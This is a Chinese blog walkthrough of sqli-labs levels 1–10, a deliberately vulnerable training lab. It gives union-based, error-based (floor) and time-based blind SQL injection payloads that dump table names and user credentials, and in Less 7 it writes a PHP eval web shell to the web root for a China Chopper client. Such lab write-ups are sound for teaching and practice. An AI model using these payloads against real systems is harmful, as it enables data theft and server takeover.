sqli-master( 1-10 )

人过留名,雁过留声
人生天地间,凡有大动静处
必有猪头

环境准备

phpstydy
firefox 浏览器
HackBar 插件
sqli-labs-master 源码
sublime 
中国菜刀

Less 1

① 源码分析

1.采用 get 方法接收用户输入
2. 单引号闭合参数
3. 参数拼接 sql 语句进行数据库查询

在这里插入图片描述

② 漏洞利用

1. 看看有当前数据表有多少列。

1.1 猜测列数为 3 ,回显正常

index.php?id=1' order by 3 --+

在这里插入图片描述
1.2 猜测列数为 4 ,出现错误,说明当前数据表列数为 3 。
在这里插入图片描述

2. union 注入

2.1 查看回显位,可以得知数字 2 和 3 可以回显。

index.php?id=0' union select 1,2,3 --+

在这里插入图片描述
2.2 利用回显位查看数据库相关信息

index.php?id=0' union select 1,version(),database() --+

在这里插入图片描述
2.3 爆出 security 的所有表

index.php?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),database() --+

在这里插入图片描述
2.4 查看 users 表下的所有列

index.php?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),database() --+

在这里插入图片描述
2.5 查看 users 表下的所有数据

index.php?id=0' union select 1,(select group_concat(username,'-') from security.users),(select group_concat(password) from security.users) --+

在这里插入图片描述

Less 2

① 源码分析

1. 直接获取用户输入
2. sql 语句拼接

在这里插入图片描述

② 漏洞利用

和 Less1 相比就是在进行 sql 语句拼接的时候没有对参数进行单引号引用。思路和 Less1 一样,就是不用闭合单引号和注释后面无关内容而已。

如 union 注入

index.php?id=0 union select 1,2,3
3

在这里插入图片描述

Less 3

① 源码分析

1. 直接说去用户输入
2. 拼接 sql 语句时将参数用单引号+括号进行引用

在这里插入图片描述

② 漏洞利用

对单引号和括号进行闭合即可,同时使用注释符将无用部分注释掉,注入思路和 Less1 一样。

union 注入

index.php?id=0') union select 1,2,3 --+

在这里插入图片描述

Less 4

① 源码分析

1. 直接获取用户输入
2. 对参数进行双引号+括号引用

在这里插入图片描述

② 漏洞利用

对双引号和括号进行闭合,注入思路和 Less 1 一样。

index.php?id=0") union select 1,2,3 --+

在这里插入图片描述

Less 5

① 源码分析

1. 直接获取用户输入
2. 对参数进行单引号引用
3. 没有数据回显
4. 有错误信息回显

在这里插入图片描述

② 漏洞利用

1. union 注入

没有数字回显,所以,以上的方法不可行。

index.php?id=0' union select 1,2,3 --+

在这里插入图片描述

2. 单引号

有错误信息回显,可以利用。

index.php?id='

在这里插入图片描述

3. floor 报错注入

格式如下:

select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a

可以拆分为几部分方便记忆

select 1 from( i )a
i = select count(*),concat( j )x from information_schema.tables group by x
j = payload,floor(rand(0)*2)

3.1 显示当前数据库

index.php?id=0' and (select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

在这里插入图片描述
3.2 显示当前数据库下所有表
3.2.1这里使用 group_concat() 显示所有表,出现错误 “信息超过一行” 。

index.php?id=1' and (select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

在这里插入图片描述
3.2.2 使用 limit 一个一个显示出来
(ps: 这里的 limit 0,1 代表第一个数据;limit 1,1 代表第二个数据)

index.php?id=1'and (select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

在这里插入图片描述
利用 floor 报错将敏感数据一个一个爆出来。

Less 6

① 源码分析

1. 直接获取用户输入
2. 双引号应用参数
3. 没有数据信息回显
4. 有错误信息回显

② 漏洞利用

相比于 Less 5,这里的参数用双引号引用,注意双引号闭合,注释符的使用即可,解题思路和 Less 5 一样。

Less 7

① 源码分析

1. 直接获取用户参数
2. 用双括号+双引号引用参数
3. 没有数据信息回显
4. mysql_error()函数被注释

在这里插入图片描述

② 漏洞利用

页面提示我们 outfile 命令写入木马文件
在这里插入图片描述

  1. 这种方法的关键之处在能够找到写入文件的路径,之后用菜刀进行连接
index.php?id=-1')) union select 1,"<?php @eval($_POST['pass']);?>",3 into outfile "C:\\phpStudy2013\\WWW\\script.php" --+

在这里插入图片描述
2. 访问脚本文件
在这里插入图片描述
3. 使用菜刀连接
在这里插入图片描述
在这里插入图片描述

Less 8

① 源码分析

1. 直接获取用户参数
2. 单引号引用参数
3. 没有数据信息回显
4. 也没有错误信息回显

在这里插入图片描述

② 漏洞利用

没有错误信息回显,那报错注入的方法就行不通,可以试一试时间盲注。
格式:

 if(ascii(substring((payload),1,1))=115,sleep(10),1)

1.猜测当前数据库
1.2若当前数据库的第一个字母的 ASCII码大于0,则延时5秒

index.php?id=1' and if(ascii(substring(database(),1,1))>0,sleep(5),1) --+

在这里插入图片描述
1.2猜测得出第一个字母位's',ascii(s) = 115

index.php?id=1' and if(ascii(substring(database(),1,1))=115,sleep(5),1) --+

1.3猜测得出第二个字母位'e',ascii(e) = 101

index.php?id=1' and if(ascii(substring(database(),1,1))=101,sleep(5),1) --+

就是很费劲,但是还是可以得出敏感数据。(其实也是可以写入脚本用菜刀 getshell 的)

Less 9

① 源码分析

1. 直接获取用户输入
2. 单引号引用,参数拼接
3. 没有数据回显
4. 没有错误信息回显

在这里插入图片描述

② 漏洞利用

时间盲注,注意单引号闭合,思路和 Less 8 一样。

Less 10

① 源码分析

1. 直接获取用户参数
2. 双引号引用参数进行 sql 语句拼接
3. 没有数据回显
4. 没有错误信息回显

在这里插入图片描述

② 漏洞利用

时间盲注,注意双引号的闭合,注入思路和 Less 8 一样。

                                                                                                                                  猪头
                                                                                                                             2020.1.16
发布了21 篇原创文章 · 获赞 3 · 访问量 646

猜你喜欢

转载自blog.csdn.net/LZHPIG/article/details/103995481